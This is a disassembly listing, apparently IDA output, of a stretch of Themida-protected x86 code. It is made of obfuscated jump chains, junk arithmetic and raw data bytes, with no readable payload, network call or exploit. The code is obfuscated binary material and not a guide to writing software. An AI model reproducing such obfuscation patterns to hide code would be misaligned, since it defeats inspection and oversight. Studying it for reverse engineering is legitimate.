		dd 0E93F4506h, 0FFFF9FD0h, 61E268h, 243C8900h, 8B2414F7h
		dd 0C483243Ch, 8B85004h, 0C1530160h, 0F80D08E0h, 0C16C3047h
		dd 4E6803E0h, 8900003Ah, 0FDBA2414h, 0E97A903Ah, 0FFFFA140h
		dd 0E924248Bh, 5247h, 4C381h, 0EB810000h, 4, 0E9241C33h
		dd 0FFFFE119h, 22B65266h, 0FF5495E9h, 2434FFFFh, 7B13685Eh
		dd 2BE90000h, 81FFFF6Ch, 7AB74C6h, 8BF309AAh, 0C4832434h
		dd 97DAE904h, 0F801FFFFh, 1216BD2Dh, 0BF575F4Eh, 0FFFFFFFFh
		dd 2C2F452Dh, 0E190E913h, 8B66FFFFh, 8351240Ch,	6BE904ECh
		dd 0BF000067h, 5810285Dh, 380FBA52h, 0D7296F55h, 9219E95Ah
		dd 0C283FFFFh, 3719E904h, 1E68FFFFh, 5A30141Fh,	0D731EA81h
		dd 0D1892D97h, 13F4E9h,	2CFE0500h, 34FF58C4h, 89565924h
		dd 0EEC3E9E6h, 0C15EFFFFh, 0CE8105E6h, 2B1858CEh, 53CDBA52h
		dd 0D6293132h, 0E9F5895Ah, 0FFFF5CBBh
; ---------------------------------------------------------------------------


loc_54F280:				; CODE XREF: Themida_:0054CB9Aj
		mov	ebx, [esp]
		jmp	loc_556F81
; ---------------------------------------------------------------------------
		dd 9C241CF7h, 0FF347BE9h, 6FE95DFFh, 8B00001Ah,	0EC832404h
		dd 242C8904h, 0C5815D54h, 4, 4BF57h, 50E90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F2B3:				; CODE XREF: Themida_:0054B3CCj
		shr	ch, 1
		shl	ch, 1
		dec	ch
		shr	ch, 4
		jmp	loc_550B02
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 88h
		dd 0F7268739h, 0C3CCE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F2CE:				; CODE XREF: Themida_:00553F4Ej
		mov	ecx, 4C611575h
		xor	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 55F720C5h
		xor	esi, edi
		pop	edi
		or	esi, 20414E67h
		dec	esi
		xor	esi, 458C4B38h
		sub	ecx, esi
		pop	esi
		shl	ecx, 4
		jmp	loc_553382
; ---------------------------------------------------------------------------


loc_54F2F7:				; CODE XREF: Themida_:005521B1j
		mov	edx, [esp]
		push	4E77h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_5438E8
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 5224248Bh, 0E3BF9CBAh
		dd 8BD33112h, 0C4812414h, 4, 0DD895552h, 0FF4E15E9h, 31F031FFh
		dd 57F031C6h, 0A9031BBFh, 1ABA5252h, 2952A903h,	0BD055AD7h
		dd 0E94E1216h, 0FFFFFE9Ah
; ---------------------------------------------------------------------------


loc_54F368:				; CODE XREF: Themida_:005541A9j
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 69FB8AF6h
		push	ebx
		sub	dword ptr [esp], 3322205Fh
		pop	ecx
		add	ecx, 3322205Fh
		pop	ebx
		inc	ecx
		jmp	loc_54FDD4
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 0E9E788ABh, 78F9h
; ---------------------------------------------------------------------------


loc_54F3A0:				; CODE XREF: Themida_:00552906j
		mov	bp, 8D9h
		add	bx, bp
		jmp	loc_546C63
; ---------------------------------------------------------------------------


loc_54F3AC:				; CODE XREF: Themida_:0054C1FEj
		add	eax, 4
		sub	eax, 4
		jmp	loc_543BD2
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFD0h, 3E68575Ah, 8900006Ch, 4812424h, 424h, 0BE565F00h
		dd 710E70B0h, 0C67E9h, 332AE900h, 0BF57FFFFh, 44FC7672h
		dd 0DF17172Dh, 5F80103h, 3DF1717h, 2DE8015Fh, 44FC7672h
		dd 0FF5226E9h, 0DDF759FFh, 0DB84E951h, 815BFFFFh, 4ECh
		dd 24348900h, 176FBB53h, 0DE895553h, 42E9E9h, 81D6F700h
		dd 0DD412BC6h, 0DDC68173h, 8155175Ch, 0FD175BEEh, 0D7AFE926h
		dd 0EA80FFFFh, 0CDC2809Dh, 7FFAE958h, 585BFFFFh, 0EF6E9h
		dd 240C8B00h, 0FF4B9FE9h, 85E947FFh
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F45B:				; CODE XREF: Themida_:0054431Cj
		mov	[esp], eax
		mov	eax, 4
		add	edx, 0D1A68C9h
		sub	edx, eax
		sub	edx, 0D1A68C9h
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54835B
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 43h
		dd 0EB81D3F7h, 3D37C9F2h, 7EB8E9h, 3272E900h, 55AFFFFh
		dd 73E72431h, 0F40A5B05h, 0C9BA5208h, 5222D75Bh, 5A2414F7h
		dd 3329E957h, 6C810000h, 425D0824h, 0B85016D6h,	6F329E9h
		dd 0C244429h, 246C8158h, 2B2ABD08h, 2E95B6Ch, 8BFFFFECh
		dd 0C4812424h, 4, 2F09E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F4E5:				; CODE XREF: Themida_:0055457Ej
		add	ebp, edx
		pop	edx
		add	ebp, 4133481Ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54BCDC
; ---------------------------------------------------------------------------
		dw 0ECC0h
		dd 8AC48006h, 0F6EECC80h, 0AC480DCh, 0FF8F3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F50D:				; CODE XREF: Themida_:0055283Aj
		sub	edx, esi
		pop	esi
		sub	edx, 0E34F5B1Ch
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		or	edi, esi
		pop	esi
		push	4D81h
		mov	[esp], ecx
		mov	ecx, 5BF80AD7h
		dec	ecx
		push	ebx
		mov	ebx, 1
		jmp	loc_55266B
; ---------------------------------------------------------------------------
aMsQ		db '¬éÊq',0
		dw 8B00h
		dd 0C481243Ch, 4, 4C581h, 2C330000h, 242C3124h,	0E9242C33h
		dd 0FFFFAF8Eh, 8DC0B60Fh, 61688704h, 0E900001Eh, 4D77h
; ---------------------------------------------------------------------------


loc_54F570:				; CODE XREF: Themida_:00549B4Cj
		push	ebx
		mov	ebx, 1BBE7A5Eh
		jmp	loc_549463
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	81E99C24h, 56FFFF31h, 0A3DFF0BEh
		dd 5EF531D8h, 0E95DE801h, 7625h
; ---------------------------------------------------------------------------


loc_54F59C:				; CODE XREF: Themida_:0054B898j
		sub	bl, 0B5h
		add	bl, dh
		add	bl, 0B5h
		sub	bl, 6Bh
		mov	edx, [esp]
		jmp	loc_545087
; ---------------------------------------------------------------------------


loc_54F5AF:				; CODE XREF: Themida_:0054A977j
		mov	eax, edx
		pop	edx
		add	eax, edi
		jmp	loc_54FD23
; ---------------------------------------------------------------------------


loc_54F5B9:				; CODE XREF: Themida_:0054EA71j
		and	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_5449DC
; ---------------------------------------------------------------------------
		db 81h
		dd 9941AAEBh, 0B0EB8150h, 0FF054472h, 0BF6FE933h, 515DFFFFh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 24248B24h,	0E2D1C209h
		dd 2EDB68h, 240C8900h, 60ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F5FD:				; CODE XREF: Themida_:0054A4E9j
		shr	edi, 1
		jmp	loc_556764
; ---------------------------------------------------------------------------


loc_54F604:				; CODE XREF: Themida_:00556A9Cj
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_550F18
; ---------------------------------------------------------------------------
		db 66h
		dd 5324048Bh, 3F93E9h, 2CDB3400h, 5AA8E9D4h, 2BAFFFFh
		dd 1000000h, 0EBE6E9D6h, 77FFFFFFh, 19589D1Ch, 0E99C2404h
		dd 3147h, 75A6F281h, 0F28178D9h, 39D5262Ah, 33DEEA81h
		dd 0C2812ECEh, 0D8F00012h, 2954EF81h, 0D7014BFCh, 2954C781h
		dd 0A0E94BFCh, 68FFFFC0h, 2, 371CE9h, 2EE95900h, 8000002Ch
		dd 0E95BF8C1h, 656h, 0E924148Bh, 5208h,	0E680C6FEh, 0BDB753F5h
		dd 0FE04E7C0h, 8E64E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F6A6:				; CODE XREF: Themida_:00557348j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_555F27
; ---------------------------------------------------------------------------


loc_54F6C1:				; CODE XREF: Themida_:00544E4Fj
		shr	ecx, 6
		xor	ecx, 7CAF3h
		jmp	loc_556C52
; ---------------------------------------------------------------------------
		db 54h
		dd 8124148Bh, 4C4h, 4EC8100h, 89000000h, 4BF243Ch, 1000000h
		dd 243C8BFAh, 0E904C483h, 2233h
; ---------------------------------------------------------------------------


loc_54F6F4:				; CODE XREF: Themida_:005550C7j
		push	784Fh
		mov	[esp], edx
		mov	dh, 50h
		push	ecx
		jmp	loc_54B3CA
; ---------------------------------------------------------------------------
		dd 5024148Bh, 0FF4685E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F70D:				; CODE XREF: Themida_:00557252j
		mov	edx, 3BE826C6h
		jmp	loc_551FA1
; ---------------------------------------------------------------------------
		db 31h
		dd 0D7015EF2h, 5A2434FFh, 8104C483h, 4C7h, 8406E900h, 34FF0000h
		dd 0EC835924h, 95DAE904h, 0CE29FFFFh, 0FF99C6E9h, 0BF5752FFh
		dd 7FFD24B1h, 0B1A3D7BAh, 2496E9C3h, 0A8040000h, 0FFC54FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F759:				; CODE XREF: Themida_:00555E58j
		jz	loc_5572DA
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54CC37
; ---------------------------------------------------------------------------
		dw 47BEh
		dd 816FF052h, 0F05243F6h, 352056Fh, 0F0010DF2h,	0F203522Dh
		dd 4055E0Dh, 87000000h,	875C2404h, 4DE92434h, 2DFFFF37h
		dd 66990CF1h, 9BE95357h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F7A3:				; CODE XREF: Themida_:00543950j
		pop	edx
		push	edi
		push	4
		jmp	loc_5538AC
; ---------------------------------------------------------------------------
		db 48h
		dd 4AE7BB53h, 0E3C174CFh, 0A4E38104h, 0E9184C30h, 0FFFF53A5h
		dd 0A4E9D3F7h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F7CB:				; CODE XREF: Themida_:0054ADEFj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54AF6C
; ---------------------------------------------------------------------------


loc_54F7D4:				; CODE XREF: Themida_:00557AB4j
		pop	esi
		jmp	loc_555119
; ---------------------------------------------------------------------------


loc_54F7DA:				; CODE XREF: Themida_:00555A51j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_545E3A
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832404h, 642DE904h, 0E95D0000h, 3505h, 240C8B66h
		dd 77EE68h, 24048900h, 4EC81h, 24890000h, 24048124h, 4
		dd 5DB95158h, 5212481Ah, 7EA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F829:				; CODE XREF: Themida_:00547243j
		pop	esp
		sub	esi, 4F4F04AAh
		add	esi, ecx
		add	esi, 4F4F04AAh
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_554DC6
; ---------------------------------------------------------------------------


loc_54F848:				; CODE XREF: Themida_:00545AB8j
		add	ch, 57h
		sub	esp, 4
		mov	[esp], ecx
		not	byte ptr [esp+1]
		inc	byte ptr [esp+1]
		pop	ecx
		sub	ch, 0E5h
		xor	al, ch
		pop	ecx
		push	62A3h
		mov	[esp], ecx
		mov	cl, 73h
		jmp	loc_54C4BD
; ---------------------------------------------------------------------------
		dw 805Ah
		dd 0D9F6DEE1h, 0E94EB050h, 0FFFFB9C7h, 4C216B2Dh, 72510D3Dh
		dd 792D531Dh, 89362578h, 0CD3158C1h, 0FF6126E9h, 0EF815EFFh
		dd 0F7E37B99h, 3C8BFB01h, 5619E924h, 2BAFFFFh, 81000000h
		dd 0EE5CBDEFh, 53D72926h, 0FFE8DAE9h, 747FBDFFh, 3DE97464h
		dd 80FFFFD6h, 0C5FEFFEDh, 5837E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F8D2:				; CODE XREF: Themida_:0055428Dj
		add	edx, 34FE5E9Ch
		add	edx, ecx
		jmp	loc_554947
; ---------------------------------------------------------------------------


loc_54F8DF:				; CODE XREF: Themida_:00549E2Cj
		mov	edi, ebp
		push	edi
		pop	eax
		mov	edi, [esp]
		jmp	loc_545D36
; ---------------------------------------------------------------------------


loc_54F8EB:				; CODE XREF: Themida_:00545A50j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_546C48
; ---------------------------------------------------------------------------


loc_54F8F5:				; CODE XREF: Themida_:00555905j
		push	esp
		pop	edx
		push	edi
		mov	edi, 6C0B1C02h
		jmp	loc_54BE14
; ---------------------------------------------------------------------------
		dw 4C29h
		dd 81590824h, 4ECh, 24348900h, 387D77BEh, 2474011Eh, 348B5E08h
		dd 4C48124h, 0FF000000h, 0E95B2434h, 72F0h, 2E78E953h
		dd 28F0000h, 0FF2DD3E9h, 81E189FFh, 4C1h, 7B35E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F946:				; CODE XREF: Themida_:00557575j
		sub	ecx, 61BC7A41h
		jmp	loc_542DA1
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 9D671DB9h, 3B01E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F95E:				; CODE XREF: Themida_:00553AC7j
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FCE9240Ch, 35FFFFD6h, 6B4BBA84h, 40E9C101h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F987:				; CODE XREF: Themida_:0054E01Bj
		xor	ebx, ecx
		jmp	loc_553ECC
; ---------------------------------------------------------------------------
		dw 0FBBFh
		dd 292D3F68h, 0B44CE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F99A:				; CODE XREF: Themida_:00545909j
		push	16AAh
		mov	[esp], ebx
		jmp	loc_551098
; ---------------------------------------------------------------------------


loc_54F9A7:				; CODE XREF: Themida_:005548CFj
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_547D93
; ---------------------------------------------------------------------------


loc_54F9BA:				; CODE XREF: Themida_:005565D5j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_548C26
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EA41E950h, 0E801FFFFh, 1408BA52h, 11E93595h, 5FFFFF6Eh
		dd 9693EE81h, 50E9B9B8h, 81FFFF30h, 4C4h, 240C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5499F8
; ---------------------------------------------------------------------------
		dd 0E9E08950h, 0FFFF3E43h
; ---------------------------------------------------------------------------


loc_54FA10:				; CODE XREF: Themida_:0054AD99j
		push	esi
		mov	esi, 4D525D5Ch
		mov	edx, esi
		pop	esi
		sub	edx, 6A341E90h
		and	edx, 291409D7h
		shl	edx, 4
		jmp	loc_55448F
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 8B662424h, 69682404h, 89000073h, 0E189240Ch
		dd 8904EC83h, 53BB241Ch, 814B6718h, 0C35406CBh,	0C3BF5704h
		dd 956F024h, 8012E9FBh,	2C89FFFFh, 8BB85024h, 55764045h
		dd 0FF2E4BE9h, 240C89FFh, 0B8505954h, 741A0794h, 0C531E831h
		dd 0DDF7E831h, 0E9D8F795h, 0FFFF7E1Ah, 0E97EB1B8h, 58C20128h
		dd 0FF8FEAE9h, 0FFFFBEFFh, 4DE9FFFFh, 59000067h, 5E21F681h
		dd 504E3804h, 2A522DB8h, 7208E9A6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FAB6:				; CODE XREF: Themida_:00551918j
		add	edx, edi
		pop	edi
		push	eax
		mov	eax, 4C644D54h
		push	ebx
		mov	ebx, 4C644D56h
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 13C07F66h
		jmp	loc_547FB6
; ---------------------------------------------------------------------------


loc_54FADB:				; CODE XREF: Themida_:00557172j
		add	ecx, eax
		sub	ecx, 30E63D95h
		add	ecx, 2C564819h
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_54B7DF
; ---------------------------------------------------------------------------
		dw 487h
		dd 0ABA5E924h, 4BDFFFFh, 81000000h, 3D3EA8C7h, 81EF2941h
		dd 3D3EA8EFh, 3C335D41h, 243C3124h, 8B243C33h, 1C892424h
		dd 4BB24h, 0D8010000h, 2BA525Bh, 5000000h, 1B075D64h, 642DD029h
		dd 0FF1B075Dh, 148B2434h, 4C48324h, 4C481h, 77E90000h
		dd 5E000074h, 0FF856EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FB59:				; CODE XREF: Themida_:0054B6FEj
		add	esp, 4
		mov	edx, esi
		pop	esi
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4D3F1706h
		jmp	loc_550199
; ---------------------------------------------------------------------------
		dd 3505E8C1h, 0DD116BA9h, 48BC201h, 4C48124h, 0E9000000h
		dd 0FFFFC0C7h, 1ABC181h, 8950405Fh, 15BF57E0h, 0E92A3073h
		dd 0FFFFB5DCh, 0FF24248Bh, 0E99C2404h, 0FFFFF092h, 0EA2A92B8h
		dd 7BD4E946h, 0F181FFFFh, 5F291DBEh, 0E959CD29h, 2BFAh
		dd 60BCBB53h, 0EB8167A7h, 0FFFFFFFFh, 48B6BA52h, 2FE96203h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FBDF:				; CODE XREF: Themida_:00554AABj
		mov	esi, 460010FEh
		neg	esi
		or	esi, 53265E15h
		and	esi, 553A1BA0h
		dec	esi
		not	esi
		push	63F7h
		mov	[esp], edx
		mov	edx, 0AEC5DD00h
		sub	esi, 4520760h
		sub	esi, 7CF66DFEh
		sub	esi, edx
		add	esi, 7CF66DFEh
		add	esi, 4520760h
		jmp	loc_5547A2
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0CEh
		dd 29A16675h, 0E9535EF2h, 0FFFF8023h, 5B2434FFh, 81E28952h
		dd 4C2h, 4BF5700h, 83000000h, 1C8904ECh, 43B6BB24h, 0DA010C7Bh
		dd 81FA015Bh, 7B43B6EAh, 14875F0Ch
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5523DE
; ---------------------------------------------------------------------------


loc_54FC72:				; CODE XREF: Themida_:005486FCj
		push	edx
		mov	edx, 1D0A0966h
		neg	edx
		or	edx, 2A710BC5h
		jmp	loc_553470
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0Ch
		dd 0FFFFFF91h, 669D1C77h, 14D36659h, 71E99C24h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FC9B:				; CODE XREF: Themida_:0054AD22j
		add	al, 0A5h
		sub	al, dh
		jmp	loc_543AFD
; ---------------------------------------------------------------------------


loc_54FCA4:				; CODE XREF: Themida_:00548B06j
		add	edi, 59FA788Eh
		mov	ecx, edi
		jmp	loc_544647
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 1Ah
		dd 11A7B64h, 0C6015DEEh, 27BDEE81h, 0C6811EFAh,	44353508h
		dd 98BD5558h, 81552E14h, 8813BECDh, 5500E95Ch, 2C890000h
		dd 3F84E924h, 0C8000000h, 592434FFh, 81E18951h,	4C1h, 4C18300h
		dd 5C240C87h, 0E95DEB80h, 0FFFF3952h, 50158BBFh, 5FF82900h
		dd 0BCE9C329h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FD0F:				; CODE XREF: Themida_:00556ED6j
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_5431FD
; ---------------------------------------------------------------------------


loc_54FD23:				; CODE XREF: Themida_:0054F5B4j
		pop	edi
		add	dword ptr [esp+4], 6E3961DDh
		add	[esp+4], eax
		push	eax
		push	6E3961DDh
		pop	eax
		jmp	loc_54B3E9
; ---------------------------------------------------------------------------


loc_54FD3C:				; CODE XREF: Themida_:0054C049j
		push	esi
		push	esp
		jmp	loc_54337D
; ---------------------------------------------------------------------------
aSjt		db ']é†T',0
		db 0
; ---------------------------------------------------------------------------


loc_54FD49:				; CODE XREF: Themida_:0055063Cj
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	7CF6h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 25D532CAh
		sub	ecx, 25D532C6h
		add	edx, 43EE71D2h
		jmp	loc_556125
; ---------------------------------------------------------------------------
aGsK		db 'Gé¼K',0
		align 2
		dw 66BBh
		dd 29F998E0h, 0F8015BDFh, 55C8295Fh, 3A490ABDh,	6B70508h
		dd 27E9052Fh, 5BFFFF9Bh, 5C24048Fh, 0F66E1F6h, 6866CCB6h
		dd 89666931h, 0F66240Ch, 5166C8B6h, 295AE99Ch, 0C105FFFFh
		dd 161E605h, 87E958C2h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FDBF:				; CODE XREF: Themida_:00550E9Dj
		sub	dword ptr [esp+4], 21760DF2h
		sub	dword ptr [esp+4], 6C20224Ah
		jmp	loc_5484D3
; ---------------------------------------------------------------------------


loc_54FDD4:				; CODE XREF: Themida_:0054F391j
		sub	ecx, 543D5A2Dh
		or	ecx, 1242329Eh
		push	6CC6h
		mov	[esp], edi
		mov	edi, 0D80DB701h
		sub	ecx, edi
		jmp	loc_556A76
; ---------------------------------------------------------------------------


loc_54FDF4:				; CODE XREF: Themida_:00555B2Bj
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_551290
; ---------------------------------------------------------------------------
		dd 0C281F229h, 593B4674h, 3050C281h
		db 0DEh, 76h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54B5A3
; ---------------------------------------------------------------------------


loc_54FE20:				; CODE XREF: Themida_:0054AAC2j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_543609
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 6F317975h, 164CE9h, 3DEA6800h, 3EE96B4Fh
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FE3F:				; CODE XREF: Themida_:0054E62Dj
		sub	bl, 98h
		and	cl, bl
		jmp	loc_549758
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 8124248Bh, 4C5h, 242C3300h, 33242C31h, 315C242Ch, 0CDE92404h
		dd 21FFFF34h, 0E6C159CEh, 0A2E68107h, 81778C34h, 880FFCEEh
		dd 40AFE901h, 0E951FFFFh, 0FFFF40B0h, 0C8B665Ch, 0D166824h
		dd 34890000h, 50E68924h, 4B8h, 58C60100h, 5604EE83h, 42474FFh
		dd 0E92434FFh, 0FFFF81E6h, 5585450h, 4,	42Dh, 24048700h
		dd 3F67E9h, 4C7B3500h, 48407C5Ah, 280DE9h, 2474FF00h, 48F5D04h
		dd 2F87E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FEDA:				; CODE XREF: Themida_:0055797Bj
		mov	edi, 1DD21B0Ch
		jmp	loc_547C6F
; ---------------------------------------------------------------------------
		dd 8102E1C1h, 914B10F1h, 0E9D1F71Ah, 787Ch
; ---------------------------------------------------------------------------


loc_54FEF4:				; CODE XREF: Themida_:00542A32j
		push	ecx
		mov	ecx, 7EDA17FEh
		sub	ecx, 0DBF5391h
		sub	ecx, 10260C77h
		dec	ecx
		push	esi
		mov	esi, 7C6C1074h
		or	ecx, esi
		pop	esi
		sub	ecx, 6950E0h
		and	edx, ecx
		jmp	loc_54C823
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0
		dd 21354A0Eh, 242C8BEFh, 0EC2E9h, 5DEF2900h, 565FFB01h
		dd 926E9h, 24048F00h, 4240481h,	5D000000h, 33E9h, 8BF90100h
		dd 0C483243Ch, 74FF5104h, 8F590424h, 0CBE92404h, 81FFFF5Dh
		dd 0AE59B6C2h, 34ADE976h, 12C0000h, 0E903E8C0h,	0FFFFF6B1h
		dd 0E9028F64h, 0FFFF2790h, 4C581h, 53520000h, 661806BBh
		dd 34E3813Ah, 562E9E67h, 0DF76F7BEh, 0EE814601h, 1, 6BFBEE81h
		dd 0F329EFA6h, 81D3F75Eh, 0F506AAE3h, 0FCC38127h, 0E93A7620h
		dd 32DFh
; ---------------------------------------------------------------------------


loc_54FFB8:				; CODE XREF: Themida_:0054BE07j
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	ebx, ebp
		pop	ebp
		shr	ebx, 3
		push	24D5h
		mov	[esp], esi
		push	ebx
		mov	ebx, 134E5F4Ah
		mov	esi, 5000C4B6h
		sub	esi, 6E9E42E0h
		sub	esi, ebx
		add	esi, 6E9E42E0h
		pop	ebx
		sub	esi, 47D84D10h
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_54C1E1
; ---------------------------------------------------------------------------
		db 0E9h, 2, 27h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55000A:				; CODE XREF: Themida_:0054291Ej
		or	ch, al
		pop	eax
		push	ebx
		mov	bl, 94h
		jmp	loc_54B27A
; ---------------------------------------------------------------------------
		db 0B9h, 0AFh, 71h
		dd 0C9814C0Ch, 35453E7Fh, 1A6BC981h, 0E1811070h, 23656520h
		dd 31A0E941h, 89500000h, 4EC81E0h, 89000000h, 0E953243Ch
		dd 0FFFFDE07h, 8103E6C1h, 8C7A84C6h, 6AE3E977h,	0ED810000h
		dd 70840BCh, 8108EDC1h,	0EE38F2F5h, 5DEB297Ah, 0FF6D41E9h
		dd 415368FFh, 14890000h, 0E93CB624h, 0FFFF918Dh, 5258E130h
		dd 0F788CE88h, 5A2434FFh, 0FF3DBAE9h, 81DFF7FFh, 437B79E7h
		dd 0B951503Eh, 234A01ECh, 0C17F21B8h, 59C8292Ah, 0C956920Dh
		dd 7E732D25h, 0A8053212h, 2158755Ah, 24048BC7h,	4C481h
		dd 0F7810000h, 309E0067h, 0B6E95356h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5500C7:				; CODE XREF: Themida_:0054C586j
		mov	eax, [esp]
		jmp	loc_552A4D
; ---------------------------------------------------------------------------


loc_5500CF:				; CODE XREF: Themida_:0054C914j
		pop	ecx
		sub	ebp, esi
		jmp	loc_544212
; ---------------------------------------------------------------------------
		db 1
		dd 0F4EE81EEh, 0E908B875h, 4330h, 0E1E9FD29h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5500EB:				; CODE XREF: Themida_:0055220Ej
		push	esp
		jmp	loc_5450F7
; ---------------------------------------------------------------------------
		db 5, 0D6h, 8
		dd 5405359h, 0A19A0E4h,	158C729h, 5DC781CFh, 813AB151h
		dd 0E65E8EC7h, 240C8B7Ah, 0E904C483h, 0FFFF5301h, 5559CB09h
		dd 4EC81h, 14890000h, 278AE924h, 0C1830000h, 74FF5104h
		dd 0C8B0424h, 4C48324h,	0FF9775E9h, 0A8BD55FFh,	0F73DE177h
		dd 21A4E9D5h, 0C3810000h, 4, 5C241C87h,	75F9E955h, 34FFFFFFh
		dd 2434FF24h, 4C48359h,	64AFE9h, 32EB8100h, 687EEE6Fh
		dd 2825h, 0E9240C89h, 4DF5h
; ---------------------------------------------------------------------------


loc_55017C:				; CODE XREF: Themida_:00555D4Bj
		xor	ebx, 0A1439D10h
		sub	edi, ebx
		pop	ebx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_55318A
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 175235E1h, 0FF2DB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550199:				; CODE XREF: Themida_:0054FB73j
		or	edi, 72801074h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2A9F5225h
		xor	edx, 23516FA3h
		and	edx, 6C80214Bh
		xchg	ebp, edx
		dec	ebp
		xchg	ebp, edx
		not	edx
		not	edx
		add	edx, 49231B9Ah
		jmp	loc_555185
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 0C1h
		dd 0EAC108E2h, 0A0EA8103h, 817D0C36h, 0F43252CAh, 38EA8163h
